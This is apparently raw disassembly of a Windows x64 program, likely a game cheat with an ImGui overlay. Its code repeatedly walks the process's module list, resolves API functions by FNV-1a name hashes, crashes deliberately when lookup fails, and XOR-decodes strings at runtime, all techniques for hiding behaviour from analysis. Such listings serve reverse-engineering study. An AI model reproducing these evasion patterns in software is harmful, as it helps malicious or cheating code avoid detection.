jne 0x14005e770
mov rax, qword [rax]
jmp 0x14005e740
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005e867
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005e867
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005e862
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005e840
cmp r8d, 0xe80fd3a
je 0x14005e86c
test r9d, r9d
jne 0x14005e820
mov rax, qword [rax]
jmp 0x14005e7f0
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005e917
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005e917
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005e912
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005e8f0
cmp r8d, 0xa52bcaf9
je 0x14005e91c
test r9d, r9d
jne 0x14005e8d0
mov rax, qword [rax]
jmp 0x14005e8a0
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov dword [0], 0xdead
cmp byte [0x14018a84d], 0
je 0x14005eb90
call fcn.1400514a0
lea rdx, [0x140189038]
lea rcx, [rbp + 0xf50]
call fcn.140068440
mov rdx, rax
lea rcx, [0x14018ab10]
call fcn.14008be10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005ea07
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005ea07
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005ea02
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005e9e0
cmp r8d, 0xcded1a85
je 0x14005ea0c
test r9d, r9d
jne 0x14005e9c0
mov rax, qword [rax]
jmp 0x14005e990
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005eab7
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005eab7
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005eab2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005ea90
cmp r8d, 0xe80fd3a
je 0x14005eabc
test r9d, r9d
jne 0x14005ea70
mov rax, qword [rax]
jmp 0x14005ea40
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005eb67
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005eb67
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005eb62
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005eb40
cmp r8d, 0xa52bcaf9
je 0x14005eb6c
test r9d, r9d
jne 0x14005eb20
mov rax, qword [rax]
jmp 0x14005eaf0
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov dword [0], 0xdead
mov rax, qword [0x14018a620]
test rax, rax
jne 0x14005ebbd
mov r8d, 0xb4f
lea rdx, str.C:UsersSwabraVideosHydra__1_Hydraimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x14018a620]
lea r13, [rax + 0x37e0]
mov dword [r13 + 0x44], 0x40800000
mov dword [r13 + 0x2c], 0x41200000
mov dword [r13 + 0x4c], 0x40a00000
mov dword [r13 + 0x50], 0x41c80000
mov dword [r13 + 0x54], 0x41700000
mov dword [r13 + 0x58], 0x40a00000
mov dword [r13 + 0x74], 0x40800000
mov dword [r13 + 0x78], 0x41700000
cmp qword [0x14018a998], 0
jne 0x14005ec57
mov rcx, qword [0x14018ae90]
lea rax, [0x14018a998]
mov qword [rsp + 0x30], 0
lea r9, [0x140188fe0]
mov qword [rsp + 0x28], rax
lea rdx, [0x14015d3d0]
mov rax, qword [0x14018a9b0]
mov r8d, 0x510d
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rax, qword [0x14018a620]
mov rax, qword [rax + 0x3ea0]
lea rcx, [rbp + 0x3a8]
movss xmm6, dword [rax + 0x20]
call fcn.140016260
subss xmm6, xmm7
mov dword [rbp + 0x140], 0x440fc000
xor edx, edx
mov dword [rbp + 0x144], 0x43b08000
lea rcx, [rbp + 0x140]
subss xmm6, xmm8
call fcn.140012a30
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x1400619d4
lea rcx, [0x1401891f8]
call fcn.140068200
mov rcx, rax
lea rdx, [rsp + 0x60]
mov r8d, Ordinal_46
call fcn.14000ee20
lea rdx, [0x14005b110]
lea rcx, [rbp + 0x440]
call fcn.14006a080
mov rcx, rax
call fcn.14004b440
lea rcx, [rbp + 0x440]
call fcn.14004b420
lea rdx, [0x14005b110]
lea rcx, [rbp + 0x450]
call fcn.14006a080
mov rcx, rax
call fcn.14004b440
lea rcx, [rbp + 0x450]
call fcn.14004b420
lea rdx, [0x14005b110]
lea rcx, [rbp + 0x460]
call fcn.14006a080
mov rcx, rax
call fcn.14004b440
lea rcx, [rbp + 0x460]
call fcn.14004b420
mov ecx, dword [0x14018a990]
call fcn.140056100
test al, al
je 0x14005efb0
call fcn.1400514a0
lea rdx, [0x140189038]
lea rcx, [rbp + 0xf70]
call fcn.140068440
mov rdx, rax
lea rcx, [0x14018ab10]
call fcn.14008be10
mov dword [rbp + 0x5c], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005ee07
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005ee07
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005ee02
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005ede0
cmp r8d, 0xcded1a85
je 0x14005ee0c
test r9d, r9d
jne 0x14005edc0
mov rax, qword [rax]
jmp 0x14005ed90
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov edi, dword [rcx + rdx*4]
lea rcx, [rbp + 0x5c]
add rdi, r10
call fcn.140069600
mov ecx, dword [rax]
call rdi
mov dword [rbp + 0x60], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005eec7
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005eec7
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005eec2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005eea0
cmp r8d, 0xe80fd3a
je 0x14005eecc
test r9d, r9d
jne 0x14005ee80
mov rax, qword [rax]
jmp 0x14005ee50
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov edi, dword [rcx + rdx*4]
lea rcx, [rbp + 0x60]
add rdi, r10
call fcn.140069600
mov ecx, dword [rax]
call rdi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005ef87
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005ef87
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005ef82
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005ef60
cmp r8d, 0xa52bcaf9
je 0x14005ef8c
test r9d, r9d
jne 0x14005ef40
mov rax, qword [rax]
jmp 0x14005ef10
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov dword [0], 0xdead
cmp byte [0x14018a84d], 0
je 0x14005f220
call fcn.1400514a0
lea rdx, [0x140189038]
lea rcx, [rbp + 0xf90]
call fcn.140068440
mov rdx, rax
lea rcx, [0x14018ab10]
call fcn.14008be10
mov dword [rbp + 0x64], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005f077
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005f077
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005f072
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005f050
cmp r8d, 0xcded1a85
je 0x14005f07c
test r9d, r9d
jne 0x14005f030
mov rax, qword [rax]
jmp 0x14005f000
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov edi, dword [rcx + rdx*4]
lea rcx, [rbp + 0x64]
add rdi, r10
call fcn.140069600
mov ecx, dword [rax]
call rdi
mov dword [rbp + 0x68], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005f137
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005f137
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005f132
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005f110
cmp r8d, 0xe80fd3a
je 0x14005f13c
test r9d, r9d
jne 0x14005f0f0
mov rax, qword [rax]
jmp 0x14005f0c0
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov edi, dword [rcx + rdx*4]
lea rcx, [rbp + 0x68]
add rdi, r10
call fcn.140069600
mov ecx, dword [rax]
call rdi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005f1f7
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005f1f7
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005f1f2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005f1d0
cmp r8d, 0xa52bcaf9
je 0x14005f1fc
test r9d, r9d
jne 0x14005f1b0
mov rax, qword [rax]
jmp 0x14005f180
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov dword [0], 0xdead
call fcn.140041ff0
mov rcx, qword [0x14018a620]
mov edx, 0xff
mov r9d, edx
mov dword [rsp + 0x20], __WSAFDIsSet
mov r8d, edx
mov rax, qword [rcx + 0x3ea0]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ea0]
lea rcx, [rbp + 0x7b0]
mov rdi, qword [rax + 0x290]
call fcn.140033790
mov rcx, rax
call fcn.1400045a0
mov rdx, qword [0x14018a998]
lea r9, [rbp + 0x158]
mov dword [rsp + 0x30], eax
lea r8, [rbp + 0x160]
lea rax, [rbp + 0x148]
mov dword [rbp + 0x148], 0x3f800000
mov qword [rsp + 0x28], rax
mov rcx, rdi
lea rax, [rbp + 0x150]
mov dword [rbp + 0x14c], 0x3f800000
mov qword [rsp + 0x20], rax
mov qword [rbp + 0x150], 0
mov dword [rbp + 0x158], 0x42840000
mov dword [rbp + 0x15c], 0x42600000
mov dword [rbp + 0x160], 0xc1a00000
mov dword [rbp + 0x164], 0xc1300000
call fcn.14002bc80
mov rcx, qword [0x14018a9b8]
call fcn.140012520
movups xmm0, xmmword [0x14011c550]
movups xmm1, xmmword [0x14011c560]
movups xmmword [rbp + 0x4f8], xmm0
movups xmm0, xmmword [0x14011c570]
movups xmmword [rbp + 0x508], xmm1
movups xmmword [rbp + 0x518], xmm0
cmp r14d, 2
jl 0x14005f480
movdqa xmm0, xmmword [0x14011f5c0]
lea rcx, [rbp + 0x4fc]
movdqa xmm5, xmmword [0x14011f510]
mov eax, Ordinal_32
movdqa xmm4, xmmword [0x14011f5b0]
xor edx, edx
movdqa xmm7, xmmword [0x14011f540]
movdqa xmmword [rbp - 0x80], xmm0
mov r8d, dword [rbp - 0x80]
movd xmm8, eax
movd xmm6, r15d
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x30
jl 0x14005f370
movss xmm7, dword [0x14011f410]
movss xmm8, dword [0x14011f3d8]
jmp 0x14005f4c0
lea r9, [rbp + 0x4f8]
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x30
jl 0x14005f490
lea rcx, [rbp + 0x4f8]
call fcn.140033e90
movaps xmm1, xmm9
xorps xmm0, xmm0
call fcn.140015fc0
movaps xmm0, xmmword [0x14011f6f0]
lea rdx, [rbp + 0x470]
xor ecx, ecx
movups xmmword [rbp + 0x470], xmm0
call fcn.140004ac0
mov eax, dword [str.z_6]
lea rcx, [rbp - 0x26]
mov dword [rbp - 0x26], eax
movzx eax, byte [0x14011bd48]
xor byte [rbp - 0x25], 0x33
xor al, 0x36
xor byte [rbp - 0x24], 0x34
xor byte [rbp - 0x23], 0x35
mov byte [rbp - 0x22], al
mov byte [rbp - 0x26], 0x48
call fcn.140033e90
mov ecx, r15d
call fcn.140004b20
call fcn.1400125c0
xor edx, edx
lea rcx, [0x140053540]
call qword [sym.imp.USER32.dll_EnumWindows]
mov eax, dword [0x14011b308]
lea rcx, [rbp - 0x4e]
mov dword [rbp - 0x4e], eax
xor edx, edx
movzx eax, word [0x14011b30c]
xor byte [rbp - 0x4d], 0x33
xor byte [rbp - 0x4c], 0x34
xor byte [rbp - 0x4b], 0x35
mov word [rbp - 0x4a], ax
xor al, 0x36
xor byte [rbp - 0x49], 0x37
mov byte [rbp - 0x4a], al
mov byte [rbp - 0x4e], reloc.WLDAP32.dll_Ordinal_46
call fcn.1400532f0
test al, al
je 0x14005f7e0
call fcn.1400514a0
lea rdx, [0x140189038]
lea rcx, [rbp + 0xfb0]
call fcn.140068440
mov rdx, rax
lea rcx, [0x14018ab10]
call fcn.14008be10
mov dword [rbp + 0x6c], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005f637
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005f637
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005f632
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005f610
cmp r8d, 0xcded1a85
je 0x14005f63c
test r9d, r9d
jne 0x14005f5f0
mov rax, qword [rax]
jmp 0x14005f5c0
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov edi, dword [rcx + rdx*4]
lea rcx, [rbp + 0x6c]
add rdi, r10
call fcn.140069600
mov ecx, dword [rax]
call rdi
mov dword [rbp + 0x70], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005f6f7
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005f6f7
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005f6f2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005f6d0
cmp r8d, 0xe80fd3a
je 0x14005f6fc
test r9d, r9d
jne 0x14005f6b0
mov rax, qword [rax]
jmp 0x14005f680
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov edi, dword [rcx + rdx*4]
lea rcx, [rbp + 0x70]
add rdi, r10
call fcn.140069600
mov ecx, dword [rax]
call rdi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005f7b7
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005f7b7
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005f7b2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005f790
cmp r8d, 0xa52bcaf9
je 0x14005f7bc
test r9d, r9d
jne 0x14005f770
mov rax, qword [rax]
jmp 0x14005f740
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov dword [0], 0xdead
cmp byte [0x14018a84d], 0
je 0x14005fa50
call fcn.1400514a0
lea rdx, [0x140189038]
lea rcx, [rbp + 0xfd0]
call fcn.140068440
mov rdx, rax
lea rcx, [0x14018ab10]
call fcn.14008be10
mov dword [rbp + 0x74], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005f8a7
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005f8a7
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005f8a2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005f880
cmp r8d, 0xcded1a85
je 0x14005f8ac
test r9d, r9d
jne 0x14005f860
mov rax, qword [rax]
jmp 0x14005f830
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov edi, dword [rcx + rdx*4]
lea rcx, [rbp + 0x74]
add rdi, r10
call fcn.140069600
mov ecx, dword [rax]
call rdi
mov dword [rbp + 0x78], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005f967
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005f967
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005f962
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005f940
cmp r8d, 0xe80fd3a
je 0x14005f96c
test r9d, r9d
jne 0x14005f920
mov rax, qword [rax]
jmp 0x14005f8f0
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov edi, dword [rcx + rdx*4]
lea rcx, [rbp + 0x78]
add rdi, r10
call fcn.140069600
mov ecx, dword [rax]
call rdi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005fa27
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005fa27
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005fa22
nop
